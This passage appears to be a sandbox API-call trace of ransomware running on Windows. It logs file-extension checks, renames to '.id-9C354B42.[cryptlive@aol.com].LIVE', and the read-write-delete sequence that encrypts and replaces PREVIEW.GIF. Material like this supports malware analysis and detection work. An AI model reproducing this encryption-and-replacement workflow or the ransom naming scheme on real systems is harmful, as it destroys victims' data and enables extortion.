(lpString1=".docx", lpString2="s.emf") returned -1 [0047.115] lstrlenW (lpString=".pdf") returned 4 [0047.115] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0047.115] lstrlenW (lpString=".xls") returned 4 [0047.115] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0047.115] lstrlenW (lpString=".xlsx") returned 5 [0047.115] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0047.115] lstrlenW (lpString=".ppt") returned 4 [0047.115] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0047.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.115] lstrlenW (lpString=".zip") returned 4 [0047.115] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0047.115] lstrlenW (lpString=".rar") returned 4 [0047.115] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0047.115] lstrlenW (lpString=".bz2") returned 4 [0047.115] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0047.115] lstrlenW (lpString=".7z") returned 3 [0047.115] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0047.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.115] lstrlenW (lpString=".dbf") returned 4 [0047.115] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0047.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.115] lstrlenW (lpString=".1cd") returned 4 [0047.115] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0047.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0047.115] lstrlenW (lpString=".jpg") returned 4 [0047.115] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0047.116] lstrcmpiW (lpString1=".htm", lpString2=".LIVE") returned -1 [0047.116] lstrlenW (lpString="Garden.htm") returned 10 [0047.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.116] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=231) returned 1 [0047.116] CloseHandle (hObject=0x1f8) returned 1 [0047.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0047.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.116] lstrlenW (lpString=".doc") returned 4 [0047.116] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0047.116] lstrlenW (lpString=".docx") returned 5 [0047.116] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0047.116] lstrlenW (lpString=".pdf") returned 4 [0047.116] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0047.116] lstrlenW (lpString=".xls") returned 4 [0047.116] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0047.116] lstrlenW (lpString=".xlsx") returned 5 [0047.117] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0047.117] lstrlenW (lpString=".ppt") returned 4 [0047.117] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0047.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.117] lstrlenW (lpString=".zip") returned 4 [0047.117] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0047.117] lstrlenW (lpString=".rar") returned 4 [0047.117] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0047.117] lstrlenW (lpString=".bz2") returned 4 [0047.117] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0047.117] lstrlenW (lpString=".7z") returned 3 [0047.117] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0047.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.117] lstrlenW (lpString=".dbf") returned 4 [0047.117] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0047.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.117] lstrlenW (lpString=".1cd") returned 4 [0047.117] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0047.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.117] lstrlenW (lpString=".jpg") returned 4 [0047.117] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0047.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.117] lstrlenW (lpString=".doc") returned 4 [0047.117] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0047.117] lstrlenW (lpString=".docx") returned 5 [0047.117] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0047.117] lstrlenW (lpString=".pdf") returned 4 [0047.117] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0047.117] lstrlenW (lpString=".xls") returned 4 [0047.117] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0047.117] lstrlenW (lpString=".xlsx") returned 5 [0047.117] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0047.117] lstrlenW (lpString=".ppt") returned 4 [0047.117] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0047.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.118] lstrlenW (lpString=".zip") returned 4 [0047.118] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0047.118] lstrlenW (lpString=".rar") returned 4 [0047.118] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0047.118] lstrlenW (lpString=".bz2") returned 4 [0047.118] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0047.118] lstrlenW (lpString=".7z") returned 3 [0047.118] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0047.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.118] lstrlenW (lpString=".dbf") returned 4 [0047.118] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0047.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.118] lstrlenW (lpString=".1cd") returned 4 [0047.118] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0047.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0047.118] lstrlenW (lpString=".jpg") returned 4 [0047.118] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0047.118] lstrcmpiW (lpString1=".jpg", lpString2=".LIVE") returned -1 [0047.118] lstrlenW (lpString="Garden.jpg") returned 10 [0047.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.118] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=23871) returned 1 [0047.118] CloseHandle (hObject=0x1f8) returned 1 [0047.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0047.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.119] lstrlenW (lpString=".doc") returned 4 [0047.119] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0047.119] lstrlenW (lpString=".docx") returned 5 [0047.119] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0047.119] lstrlenW (lpString=".pdf") returned 4 [0047.119] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0047.119] lstrlenW (lpString=".xls") returned 4 [0047.119] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0047.119] lstrlenW (lpString=".xlsx") returned 5 [0047.119] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0047.119] lstrlenW (lpString=".ppt") returned 4 [0047.119] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0047.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.119] lstrlenW (lpString=".zip") returned 4 [0047.119] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0047.119] lstrlenW (lpString=".rar") returned 4 [0047.119] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0047.119] lstrlenW (lpString=".bz2") returned 4 [0047.119] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0047.119] lstrlenW (lpString=".7z") returned 3 [0047.119] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0047.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.119] lstrlenW (lpString=".dbf") returned 4 [0047.119] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0047.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.119] lstrlenW (lpString=".1cd") returned 4 [0047.119] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0047.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.120] lstrlenW (lpString=".jpg") returned 4 [0047.120] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0047.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.120] lstrlenW (lpString=".doc") returned 4 [0047.120] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0047.120] lstrlenW (lpString=".docx") returned 5 [0047.120] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0047.120] lstrlenW (lpString=".pdf") returned 4 [0047.120] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0047.120] lstrlenW (lpString=".xls") returned 4 [0047.120] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0047.120] lstrlenW (lpString=".xlsx") returned 5 [0047.120] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0047.120] lstrlenW (lpString=".ppt") returned 4 [0047.120] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0047.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.120] lstrlenW (lpString=".zip") returned 4 [0047.120] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0047.120] lstrlenW (lpString=".rar") returned 4 [0047.120] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0047.120] lstrlenW (lpString=".bz2") returned 4 [0047.120] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0047.120] lstrlenW (lpString=".7z") returned 3 [0047.120] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0047.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.120] lstrlenW (lpString=".dbf") returned 4 [0047.120] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0047.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.120] lstrlenW (lpString=".1cd") returned 4 [0047.120] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0047.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0047.120] lstrlenW (lpString=".jpg") returned 4 [0047.120] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0047.121] lstrcmpiW (lpString1=".emf", lpString2=".LIVE") returned -1 [0047.121] lstrlenW (lpString="Genko_1.emf") returned 11 [0047.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.325] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=5524) returned 1 [0049.325] CloseHandle (hObject=0x188) returned 1 [0049.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0049.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.326] lstrlenW (lpString=".doc") returned 4 [0049.326] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0049.326] lstrlenW (lpString=".docx") returned 5 [0049.326] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0049.326] lstrlenW (lpString=".pdf") returned 4 [0049.326] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0049.326] lstrlenW (lpString=".xls") returned 4 [0049.326] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0049.326] lstrlenW (lpString=".xlsx") returned 5 [0049.326] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0049.326] lstrlenW (lpString=".ppt") returned 4 [0049.326] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0049.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.326] lstrlenW (lpString=".zip") returned 4 [0049.326] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0049.326] lstrlenW (lpString=".rar") returned 4 [0049.326] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0049.326] lstrlenW (lpString=".bz2") returned 4 [0049.326] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0049.326] lstrlenW (lpString=".7z") returned 3 [0049.326] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0049.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.326] lstrlenW (lpString=".dbf") returned 4 [0049.326] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0049.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.326] lstrlenW (lpString=".1cd") returned 4 [0049.326] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0049.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.326] lstrlenW (lpString=".jpg") returned 4 [0049.326] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0049.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.327] lstrlenW (lpString=".doc") returned 4 [0049.327] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0049.327] lstrlenW (lpString=".docx") returned 5 [0049.327] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0049.327] lstrlenW (lpString=".pdf") returned 4 [0049.327] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0049.327] lstrlenW (lpString=".xls") returned 4 [0049.327] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0049.327] lstrlenW (lpString=".xlsx") returned 5 [0049.327] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0049.327] lstrlenW (lpString=".ppt") returned 4 [0049.327] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0049.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.327] lstrlenW (lpString=".zip") returned 4 [0049.327] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0049.327] lstrlenW (lpString=".rar") returned 4 [0049.327] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0049.327] lstrlenW (lpString=".bz2") returned 4 [0049.327] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0049.327] lstrlenW (lpString=".7z") returned 3 [0049.327] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0049.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.327] lstrlenW (lpString=".dbf") returned 4 [0049.327] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0049.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.327] lstrlenW (lpString=".1cd") returned 4 [0049.327] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0049.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0049.327] lstrlenW (lpString=".jpg") returned 4 [0049.327] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0049.328] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0049.328] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.798] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2181) returned 1 [0049.798] CloseHandle (hObject=0x204) returned 1 [0049.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0049.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.798] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.799] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0049.990] GetLastError () returned 0x0 [0049.990] ReadFile (in: hFile=0x204, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x885, lpOverlapped=0x0) returned 1 [0050.156] WriteFile (in: hFile=0x184, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x890, lpOverlapped=0x0) returned 1 [0050.157] ReadFile (in: hFile=0x204, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.157] WriteFile (in: hFile=0x184, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.158] SetEndOfFile (hFile=0x184) returned 1 [0050.158] CloseHandle (hObject=0x184) returned 1 [0050.158] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.158] SetEndOfFile (hFile=0x204) returned 1 [0050.159] CloseHandle (hObject=0x204) returned 1 [0050.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0050.160] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0050.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.160] lstrlenW (lpString=".doc") returned 4 [0050.160] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.160] lstrlenW (lpString=".docx") returned 5 [0050.160] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.160] lstrlenW (lpString=".pdf") returned 4 [0050.160] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.160] lstrlenW (lpString=".xls") returned 4 [0050.160] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.160] lstrlenW (lpString=".xlsx") returned 5 [0050.160] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.160] lstrlenW (lpString=".ppt") returned 4 [0050.160] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.160] lstrlenW (lpString=".zip") returned 4 [0050.160] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.160] lstrlenW (lpString=".rar") returned 4 [0050.160] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.160] lstrlenW (lpString=".bz2") returned 4 [0050.160] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.160] lstrlenW (lpString=".7z") returned 3 [0050.160] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.160] lstrlenW (lpString=".dbf") returned 4 [0050.161] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.161] lstrlenW (lpString=".1cd") returned 4 [0050.161] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.161] lstrlenW (lpString=".jpg") returned 4 [0050.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.161] lstrlenW (lpString=".doc") returned 4 [0050.161] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.161] lstrlenW (lpString=".docx") returned 5 [0050.161] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.161] lstrlenW (lpString=".pdf") returned 4 [0050.161] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.161] lstrlenW (lpString=".xls") returned 4 [0050.161] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.161] lstrlenW (lpString=".xlsx") returned 5 [0050.161] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.161] lstrlenW (lpString=".ppt") returned 4 